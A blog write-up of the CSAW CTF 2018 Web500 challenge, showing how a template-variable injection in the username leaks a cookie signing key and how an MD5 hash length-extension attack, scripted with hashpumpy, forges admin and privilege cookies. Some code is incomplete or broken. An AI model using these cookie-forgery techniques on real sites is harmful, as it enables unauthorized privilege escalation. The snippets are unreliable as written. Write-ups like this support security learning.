CASW CTF 2018 Web500 Write-up

Posted by Manasseh Zhou on Wednesday, September 19, 2018



         C S A W
          C T F

It is a period of civil war.
Rebel hackers, striking
from a hidden base, have won
their first victory against
the evil DBA.

During the battle, Rebel
spies managed to steal secret
plans to the DBA's
ultimate weapon, WTF.SQL,
an integrated framework
with enough buzzwords to
host an entire website.

Pursued by the DBA's
sinister agents, You, the
Player, race home aboard
your VT100, custodian of the
stolen schema that can save
the animals and restore
freedom to the internet.....

Your mission is to read out
the txt table in the flag

Enjoy :>

Information Gathering

  1. Open the challenge, we can see a greating page for register our account.
  2. With deeper analysis, we found the robots.txt file, which tell us all the routes and its handler name.
User-agent: *
Disallow: / # procedure:index_handler
Disallow: /admin # procedure:admin_handler
Disallow: /login # procedure:login_handler
Disallow: /post # procedure:post_handler
Disallow: /register # procedure:register_handler
Disallow: /robots.txt # procedure:robots\_txt\_handler
Disallow: /static/% # procedure:static_handler
Disallow: /verify # procedure:verify_handler

\# Yeah, we know this is contrived :(
  1. With the verify route, we are able to get part of the source code of this program.


Setp 1

In this problem, first step is to browse the /admin route, in order to do that, we should make our is_admin_cookie == True

After analysis the login_handler, login procedure, we found that set_cookie is used to set our cookie, which is used for judging whether the user is admin or not.

Inside this set_cookie, we found that the application uses sign_cookie procedure and secret key (signing_key) saved in config table to sign the cookie.

-- sign_cookie
    DECLARE secret, signature TEXT;
    SET secret = (SELECT `value` FROM `config` WHERE `name` = 'signing_key');

    SET signature = SHA2(CONCAT(cookie_value, secret), 256);

    SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));

Now we know our first step is to find a way to get the value of signing_key.

My team’s analysis begins with the index page, where our teammates thought there may be a SSTI.

After digging into the logged_in_index_handler , we found template and template_string is used for rendering the page.

In the template_string procedure, we found that all the strings satisfy regex '\\$\\{[a-zA-Z0-9_ ]+\\}' will be replaced with some specific variable in the application, which is set up by populate_common_template_vars.

-- template_string
    DECLARE formatted TEXT;
    DECLARE fmt_name, fmt_val TEXT;
    DECLARE replace_start, replace_end, i INT;

    SET @template_regex = '\$\{[a-zA-Z0-9_ ]+\}';

    CREATE TEMPORARY TABLE IF NOT EXISTS `template_vars` (`name` VARCHAR(255) PRIMARY KEY, `value` TEXT);
    CALL populate_common_template_vars();

    SET formatted = template_s;
    SET i = 0;

    WHILE ( formatted REGEXP @template_regex AND i < 50 ) DO
        SET replace_start = REGEXP_INSTR(formatted, @template_regex, 1, 1, 0);
        SET replace_end = REGEXP_INSTR(formatted, @template_regex, 1, 1, 1);
        SET fmt_name = SUBSTR(formatted FROM replace_start + 2 FOR (replace_end - replace_start - 2 - 1));
        SET fmt_val = (SELECT `value` FROM `template_vars` WHERE `name` = TRIM(fmt_name));
        SET fmt_val = COALESCE(fmt_val, '');
        SET formatted = CONCAT(SUBSTR(formatted FROM 1 FOR replace_start - 1), fmt_val, SUBSTR(formatted FROM replace_end));
        SET i = i + 1;

    SET resp = formatted;

    DROP TEMPORARY TABLE `template_vars`;
-- populate_common_template_vars
    INSERT INTO `template_vars` SELECT CONCAT('config_', name), value FROM `config`;
    INSERT INTO `template_vars` SELECT CONCAT('request_', name), value FROM `query_params`;

In populate_common_template_vars, we know we can use ${config_signing_key} to get the sign key, but when trying to post ${config_signing_key} directly into the system, it returned Banned word used in post!.

So it can’t be done with the post, but we still have another option: the username.

So after register with name as ${config_signing_key}, we get the signing_key.

Then set the cookie admin to 3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431

import hashlib

signing_key = "an_bad_secret_value_nhcq497y8".encode("utf-8")
m = hashlib.sha256()
# hex(ord('1'))
print(m.hexdigest() + '31') # 31 is hex of '1'

# 3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431

Now we can see the /admin page, but without any functionality.

Step 2

In order to get all the functions in /admin page, we need to have priviledge panel_create and panel_view

Now it’s time to analysis the has_priv prodedure.

-- has_priv
    DECLARE privs, cur_privs, cmp_priv BLOB;
    DECLARE hash, signing_key TEXT;

    SET o_has_priv = FALSE;

    SET privs = NULL;
    CALL get_cookie('privs', privs);

        SET hash = SUBSTR(privs FROM 1 FOR 32);
        SET cur_privs = SUBSTR(privs FROM 33);
        SET signing_key = (SELECT `value` FROM `priv_config` WHERE `name` = 'signing_key');

        IF hash = MD5(CONCAT(signing_key, cur_privs)) THEN
            WHILE ( LENGTH(cur_privs) > 0 ) DO
                SET cmp_priv = SUBSTRING_INDEX(cur_privs, ';', 1);
                IF cmp_priv = i_priv THEN
                    SET o_has_priv = TRUE;
                END IF;
                SET cur_privs = SUBSTR(cur_privs FROM LENGTH(cmp_priv) + 2);
            END WHILE;
        END IF;
    END IF;

The priv cookie is md5(priv_signing_key + privs) + privs

now it seems like a md5 hash length extending attack to me, so using Hashpump to crack that.

import requests
import hashpumpy
import binascii
import hashlib

# 61adb96e3b0506f40eeb64d87790a41c0b404eac7f8617bdff94332ecd5a1b3a3630663063633634663562363333636635303264323565613536316139386266
# 3630663063633634663562363333636635303264323565613536316139386266  s[64:]
# 60f0cc64f5b633cf502d25ea561a98bf  unhex

if __name__ == "__main__": 
    for i in range(1,33):
        res = hashpumpy.hashpump("60f0cc64f5b633cf502d25ea561a98bf", "\x00", ";panel_create;panel_view;", i)
        # use res[1] as res[1][1:] to ignore the first byte!
        res0 = res[0]
        res1 = binascii.hexlify(res[1][1:]).decode("utf-8")       
        m = hashlib.sha256()    # sha256 (
        m.update(str.encode(res[0]))    #      (md5(signing_key, privs)
        m.update(res[1][1:])    #      + privs)
        m.update(str.encode('an_bad_secret_value_nhcq497y8'))   # + secret)
        priv = m.hexdigest()+ binascii.hexlify(str.encode(res0)+res[1][1:]).decode("utf-8") # + (md5(signing_key, privs) + privs)
        cookies = {
            "email": "6187c0f95679fc98549c6173424de91ec297bac6f4ee33915c9b7aecc297cca57465737475736572313233",
            "admin": "3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431",
            "privs": priv
        req = requests.get("", cookies=cookies)
        if len(req.text) != 287:

# e516f13d8bd7e252f631fa0926c9e2e4ab6269495248955b93cd6d89da89c37132323332366463383663653937363732623965376637376661343863393236388000000000000000000000000000000000000000000000000000000000000000c0000000000000003b70616e656c5f6372656174653b70616e656c5f766965773b

finally, get the flag!

comments powered by Disqus